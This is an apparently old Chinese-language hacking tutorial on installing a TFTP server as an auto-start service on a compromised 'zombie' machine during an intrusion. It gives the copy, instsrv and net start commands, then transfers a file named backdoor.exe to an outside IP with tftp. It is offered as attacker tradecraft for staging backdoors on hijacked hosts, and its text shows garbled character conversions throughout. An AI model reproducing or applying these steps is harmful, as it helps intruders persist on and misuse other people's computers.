搭建TFTP服务器

咱们在***的过程当中常常要使用到tftp服务器,若是你不方便在你的机器上安装tftp服务器,那么能够在肉鸡上安装,这是比较好的方法。
咱们先来学习一下什么叫做TFTP.
TFTP:(Trivial File Transfer Protocol). 小文件传输协议.
TFTP:是网络应用程序,它比FTP简单也比FTP功能少 ...
就记住这么点基础吧,学知识取精华是最重要的,若是你必定要学的很深的话,本身去看TCP/IP吧。
                        咱们首先找到系统中的tftpd.exe文件,通常咱们能够在%systemroot%\system32\dllcache目录下找到该文件,建议把该文件copy到其余目录。
C:\>copy %systemroot%\system32\dllcache\tftpd.exe
                        %systemroot%\system32
已复制 1 个文件。
咱们会用Windows 2000下的Resource
                        Kits中的一个工具instsrv建立一个服务,instsrv的用法以下,固然,你也能够用其余的工具来实现(如srvinstw,GUI方式的)。
添加一个服务,注意,该服务建立侯为自动启动。
C:\>instsrv tftp c:\winnt\system32\tftpd.exe
The service was successfuly added!
Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use
for its Security Context.
启动服务
C:\>net start tftp
tftp 服务正在启动 .
tftp 服务已经启动成功。
测试服务是否正常工做
C:\>tftp -i 61.135.21.195 PUT backdoor.exe backdoor.exe
Transfer successful: 4209 bytes in 1 second, 4209
                        bytes/s
C:\>dir tftpdroot
驱动器 C 中的卷是 C
卷的序列号是 1E23-1907
C:\tftpdroot 的目录
2001-09-22 01:14 <DIR> .
2001-09-22 01:14 <DIR> ..
2001-09-22 01:14 4,209 backdoor.exe
1 个文件 4,209 字节
2 个目录 94,113,792 可用字节
注意,若是你上传文件,系统会在%systemdrive%自动建立一个名为tftproot的目录,OK,全部的工做已经完成了!